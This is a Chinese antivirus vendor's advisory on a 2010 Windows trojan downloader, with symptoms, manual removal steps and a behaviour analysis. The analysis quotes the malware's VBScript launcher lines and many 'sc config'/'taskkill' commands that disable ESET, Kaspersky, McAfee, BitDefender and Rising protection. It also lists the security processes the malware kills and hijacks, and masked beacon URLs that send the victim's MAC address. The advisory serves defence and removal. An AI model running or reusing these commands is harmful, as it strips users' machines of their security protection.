木馬下載器
Trojan-Downloader.Win32.Small.adyq
捕獲時間
2010-10-05
危害等級
中
病毒癥狀
該樣本是使用“VC ”編寫的“下載者”，由微點(diǎn)主動防御軟件自動捕獲,長度為“473,204”字節(jié)，圖標(biāo)為“ ”，使用“exe”擴(kuò)展名，通過文件捆綁、網(wǎng)頁掛馬、下載器下載等方式進(jìn)行傳播。病毒主要目的是下載病毒木馬。
當(dāng)用戶計算機(jī)感染此木馬病毒后,會出現(xiàn)系統(tǒng)無故報錯,殺毒軟件自動退出無法啟動, Windows系統(tǒng)運(yùn)行緩慢并且發(fā)現(xiàn)未知進(jìn)程等現(xiàn)象.
感染對象
Windows 2000/Windows XP/Windows 2003/Windows Vista/ Windows 7
傳播途徑
文件捆綁、網(wǎng)頁掛馬、下載器下載
防范措施
已安裝使用微點(diǎn)主動防御軟件的用戶，無須任何設(shè)置，微點(diǎn)主動防御將自動保護(hù)您的系統(tǒng)免受該病毒的入侵和破壞。無論您是否已經(jīng)升級到最新版本，微點(diǎn)主動防御都能夠有效清除該病毒。如果您沒有將微點(diǎn)主動防御軟件升級到最新版，微點(diǎn)主動防御軟件在發(fā)現(xiàn)該病毒后將報警提示您發(fā)現(xiàn)“RootKit程序”，請直接選擇刪除處理（如圖1）
圖1 微點(diǎn)主動防御軟件自動捕獲未知病毒（未升級）
如果您已經(jīng)將微點(diǎn)主動防御軟件升級到最新版本，微點(diǎn)將報警提示您發(fā)現(xiàn)木馬"Trojan-Downloader.Win32.Small.adyq ”，請直接選擇刪除（如圖2）。
圖2 微點(diǎn)主動防御軟件升級后截獲已知病毒
未安裝微點(diǎn)主動防御軟件的手動解決辦法：
手動刪除文件
1. 刪除 X:\360SE.exe
2. 刪除 X:\dx.exe
3. 刪除 X:\a.vbs
4. 刪除 X:\b.vbs
5. 刪除 %SystemRoot%\system32\killdll.dll
6. 刪除 %SystemRoot%\system32\bhoajessc.exe
7. 刪除 %temp%\~Frm.exe
8. 刪除 %temp%\ _undelme.bat
9. 根據(jù)需要導(dǎo)入正確的asyncmac.sys，aec.sys,pcidump.sys 驅(qū)動文件。
手動刪除注冊表
1，手動刪除注冊表項：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
名稱：updater
數(shù)據(jù)：C:\WINDOWS\System32\updater.exe
2，手動刪除注冊表：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
下屬所有映像劫持
3，刪除注冊表：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AsyncMac
名稱：ImagePath
數(shù)據(jù)：System32\DRIVERS\asyncmac.sys
4，刪除注冊表：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AsyncMac
名稱：ImagePath
數(shù)據(jù)：System32\DRIVERS\aec.sys
5，刪除注冊表：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\pcidump
名稱：ImagePath
數(shù)據(jù)：\??\C:\WINDOWS\System32\drivers\pcidump.sys
6，刪除注冊表：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\HideDesktopIcons\ClassicStartMenu
名稱：{871C5380-42A0-1069-A2EA-08002B30309D}
數(shù)據(jù)：1
7，刪除注冊表：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\HideDesktopIcons\NewStartPanel
名稱：{871C5380-42A0-1069-A2EA-08002B30309D}
數(shù)據(jù)：1
8，根據(jù)需要添加開機(jī)啟動項
變量聲明：
%SystemDriver% 系統(tǒng)所在分區(qū)，通常為“C:\”
%SystemRoot% WINDODWS所在目錄，通常為“C:\Windows”
%Documents and Settings% 用戶文檔目錄，通常為“C:\Documents and Settings”
%Temp% 臨時文件夾，通常為“C:\Documents and Settings\當(dāng)前用戶名稱\Local Settings\Temp”
%ProgramFiles% 系統(tǒng)程序默認(rèn)安裝目錄，通常為：“C:\ProgramFiles”
病毒分析：
1.病毒首先設(shè)置環(huán)境變量名稱“sfxcmd”,“sfxname”,然后加載riched32.dll，riched20.dll運(yùn)行之。
2.病毒建立文件“X:\360SE.exe”,“X:\dx.exe”,以及“X:\a.vbs”,“X：\b.vbs腳本文件,以及圖標(biāo)文件“X：\o.ico”.并設(shè)置這些文件為隱藏屬性。
3.病毒打開文件“C:\WINDOWS\system32\wscript.exe”,然后建立進(jìn)程，啟動腳本文件X:\a.vbs
a.vbs內(nèi)容如下：
iReturn=objShell.Run("cmd.exe /C start dx.exe",0,TRUE)
iReturn=objShell.Run("cmd.exe /C start 360SE.exe",0,TRUE)
iReturn=objShell.Run("cmd.exe /C start b.vbs",0,TRUE)
4.“360SE.exe”文件獲得系統(tǒng)目錄，在該目錄下釋放文件“C:\WINDOWS\system32\bhoajessc.exe
5,“ bhoajessc.exe”文件，建立進(jìn)程快照，查找當(dāng)前進(jìn)程，并且獲得系統(tǒng)目錄 ，在該目錄下建立文件“C:\WINDOWS\system32\killdll.dll”,并以隱藏窗口的形式啟動進(jìn)程CmdLine = “C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\killdll.dll killall”
6，C:\WINDOWS\System32\killdll.dll獲取自身自身權(quán)限信息，并將自身權(quán)限提升為SeDebugPrivilege權(quán)限。
建立進(jìn)程快照，查找進(jìn)程名“CCenter.exe”,如果找到以后，先將C:\WINDOWS\system32\drivers\ asyncmac.sys文件刪除之，并重新建立C:\WINDOWS\system32\drivers\ asyncmac.sys，修改注冊表，建立服務(wù)項。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AsyncMac
名稱：ImagePath
數(shù)據(jù)：System32\DRIVERS\asyncmac.sys
7，調(diào)用命令行，禁用ESET NOD32的服務(wù)項，并結(jié)束相關(guān)進(jìn)程：
"cmd /c sc config ekrn start= disabled"
"cmd /c taskkill /im ekrn.exe /f"
以及卡巴斯基的服務(wù)項，并結(jié)束之：
"cmd /c sc config avp start= disabled"
"cmd /c taskkill /im avp.exe /f"
以及McAfee的服務(wù)項，并取消該殺軟的服務(wù)啟動：
"cmd /c sc config McNASvc start= disabled"
"cmd /c sc config MpfService start= disabled"
"cmd /c sc config McProxy start= disabled"
"cmd /c sc config McShield start= disabled"
"cmd /c sc config mcmscsvc start= disabled"
"cmd /c sc config Mcshield start= disabled"
以及BitDefenderProfessional的服務(wù)項并取消該殺軟的服務(wù)啟動：
"cmd /c sc config XCOMM start= disabled"
"cmd /c sc config LIVESRV start= disabled"
"cmd /c sc config scan start= disabled"
"cmd /c sc config VSSERV start= disabled"
8，C:\WINDOWS\system32\drivers\ asyncmac.sys ，從0環(huán)結(jié)束安全軟件進(jìn)程。查找大量安全軟件進(jìn)程，一旦發(fā)現(xiàn)則立即結(jié)束。完成后建立所有查找的安全軟件的映像劫持。
安全進(jìn)程名稱為：
"avp.exe"、"safeboxTray.exe"、"360Safebox.exe"、"360tray.exe"、"antiarp.exe"
、"ekrn.exe"、"RsAgent.exe"、"egui.exe"、"RavMon.exe"、"RavMonD.exe"
、"RavTask.exe"、"AAglvgp,gzg"、"RavStub.exe"、"RsTray.exe"、"ScanFrm.exe"
、"Rav.exe"、"AgentSvr.exe"、"AAglvgp,gzg"、"QQDoctor.exe"、"McProxy.exe"
、"McNASvc.exe"、"Mcshield.exe"、"rsnetsvr.exe"、"MpfSrv.exe"、"MPSVC.EXE"
、"MPSVC3.EXE"、"IKQQta,gzg"、"IKQQta,gzg"、"kmailmon.exe"、"KavStart.exe"
、"KPFW32.EXE"、"KVMonXP.KXP"、"KVSrvXP.exe"、 "ccSetMgr.exe"、"ccEvtMgr.exe"、"defwatch.exe"、"rtvscan.exe"、"ccapp.exe"
、"vptray.exe"、"mcupdmgr.exe"、"mcproxy.exe"、"mcshield.exe"、"MPFSrv.exe"
、"mcsysmon.exe"、"mcmscsvc.exe"、"mcnasvc.exe"、"mcagent.exe"、"mcshell.exe"
、"mcinsupd.exe"、"bdagent.exe"、"livesrv.exe"、"vsserv.exe"、"xcommsvr.exe"
對應(yīng)的映像劫持路徑為：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
然后刪除驅(qū)動文件“C:\WINDOWS\system32\drivers\ asyncmac.sys”
9,C:\WINDOWS\System32\killdll.dll先將"C:\WINDOWS\System32\drivers\aec.SYS"文件刪除之，
并重新建立C:\WINDOWS\System32\drivers\aec.SYS
修改注冊表，建立服務(wù)項。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AsyncMac
名稱：ImagePath
數(shù)據(jù)：System32\DRIVERS\aec.sys
10,"C:\WINDOWS\System32\drivers\aec.sys"恢復(fù)SSDT來解除安全軟件建立的系統(tǒng)鉤子, 然后刪除驅(qū)動文件“C:\WINDOWS\system32\drivers\aec.sys”
以隱藏方式取消服務(wù)項的啟動，內(nèi)容為：
"cmd /c sc config RavTask start= disabled"
"cmd /c sc config RsScanSrv start= disabled"
"cmd /c sc config RavTray start= disabled"
"cmd /c sc config RsRavMon start= disabled"
"cmd /c sc config RavCCenter start= disabled"
11，刪除注冊表項：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run，使所有的應(yīng)用程序啟動項無法啟動，然后重新建立注冊表啟動項。
12，“bhoajessc.exe”文件獲得臨時文件路徑%temp%,在該目錄下釋放文件%temp%\~Frm.exe,并執(zhí)行之：
%temp%\~Frm.exe 文件建立注冊表啟動項，
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
名稱：updater
數(shù)據(jù)：C:\WINDOWS\System32\updater.exe
以便到底自啟動的目的，~Frm.exe獲得臨時文件路徑，在該目錄下釋放文件%temp%\tmp.tmp，然后建立"C:\WINDOWS\System32\svchost.exe"進(jìn)程，對該進(jìn)程進(jìn)行寫內(nèi)存操作，并建立遠(yuǎn)程線程注入，以及將用戶的網(wǎng)卡地址發(fā)送到黑客指定的網(wǎng)站。訪問指定網(wǎng)址，下載大量病毒程序并運(yùn)行。
13，“bhoajessc.exe”文件刪除“C:\WINDOWS\System32\killdll.dll”，并獲得系統(tǒng)目錄路徑，將"C:\WINDOWS\system32\bhoajessc.exe"重新名為"C:\WINDOWS\System32\updater.exe"，并且獲取系統(tǒng)路徑，創(chuàng)建驅(qū)動文件%SystemRoot%\system32\drivers\pcidump.sys，
創(chuàng)建服務(wù)項并修改修改注冊表信息：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\pcidump
名稱：ImagePath
數(shù)據(jù)：\??\C:\WINDOWS\System32\drivers\pcidump.sys
完成后將其加載為服務(wù)項。將建立管道"\\.\pcidump"，與驅(qū)動文件進(jìn)行通信，然后刪除pcidump.sys和對應(yīng)服務(wù)項。
14，病毒在臨時文件路徑下創(chuàng)建批處理文件%temp%\ _undelme.bat, 完成后運(yùn)行該批處理文件，刪除病毒源程序和批處理自身。
15，X:\dx.exe文件創(chuàng)建鍵盤和鼠標(biāo)消息鉤子，監(jiān)控用戶信息。
16，X:\b.vbs腳本文件：創(chuàng)建IE的快捷方式，讓IE指向黑客指定的網(wǎng)站，刪除系統(tǒng)默認(rèn)瀏覽器快捷方式，修改注冊表信息：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\HideDesktopIcons\ClassicStartMenu
名稱：{871C5380-42A0-1069-A2EA-08002B30309D}
數(shù)據(jù)：1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\HideDesktopIcons\NewStartPanel
名稱：{871C5380-42A0-1069-A2EA-08002B30309D}
數(shù)據(jù)：1
病毒創(chuàng)建文件：
X:\360SE.exe
X:\dx.exe
X:\a.vbs
X:\b.vbs
%SystemRoot%\system32\killdll.dll
%SystemRoot%\system32\bhoajessc.exe
%SystemRoot%\system32\drivers\asyncmac.sys
%SystemRoot%\System32\drivers\aec.sys
%SystemRoot%\system32\drivers\pcidump.sys
%temp%\~Frm.exe
%temp%\ _undelme.bat
(X為病毒源程序所在路徑）
病毒刪除文件：
%SystemRoot%\system32\drivers\aec.sys
%SystemRoot%\system32\drivers\AsyncMac.sys
%SystemRoot%\system32\drivers\pcidump.sys
%temp%\ _undelme.bat
病毒刪除注冊表：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\（清空）
病毒創(chuàng)建注冊表：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safeboxTray.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safebox.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\antiarp.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RsAgent.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfeann.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMon.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMonD.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavTask.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AAglvgp,gzg
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavStub.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RsTray.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ScanFrm.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AgentSvr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AAglvgp,gzg
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDoctor.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McProxy.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McNASvc.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mcshield.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rsnetsvr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpfSrv.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPSVC.EXE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPSVC3.EXE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IKQQta,gzg
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kmailmon.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KavStart.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPFW32.EXE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonXP.KXP
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVSrvXP.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccSetMgr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccEvtMgr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\defwatch.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rtvscan.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccapp.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vptray.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcupdmgr.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcproxy.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPFSrv.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcsysmon.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcnasvc.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcagent.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcinsupd.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\livesrv.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsserv.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xcommsvr.exe
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AsyncMac
名稱：ImagePath
數(shù)據(jù)：System32\DRIVERS\asyncmac.sys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AsyncMac
名稱：ImagePath
數(shù)據(jù)：System32\DRIVERS\aec.sys
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
名稱：updater
數(shù)據(jù)：C:\WINDOWS\System32\updater.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\pcidump
名稱：ImagePath
數(shù)據(jù)：\??\C:\WINDOWS\System32\drivers\pcidump.sys
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\HideDesktopIcons\ClassicStartMenu
名稱：{871C5380-42A0-1069-A2EA-08002B30309D}
數(shù)據(jù)：1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Explorer\HideDesktopIcons\NewStartPanel
名稱：{871C5380-42A0-1069-A2EA-08002B30309D}
數(shù)據(jù)：1
病毒訪問網(wǎng)絡(luò):
http://www.******.cn/Count/count.asp?mac=00c029f27116&xxx=11
http://www.******.cc |
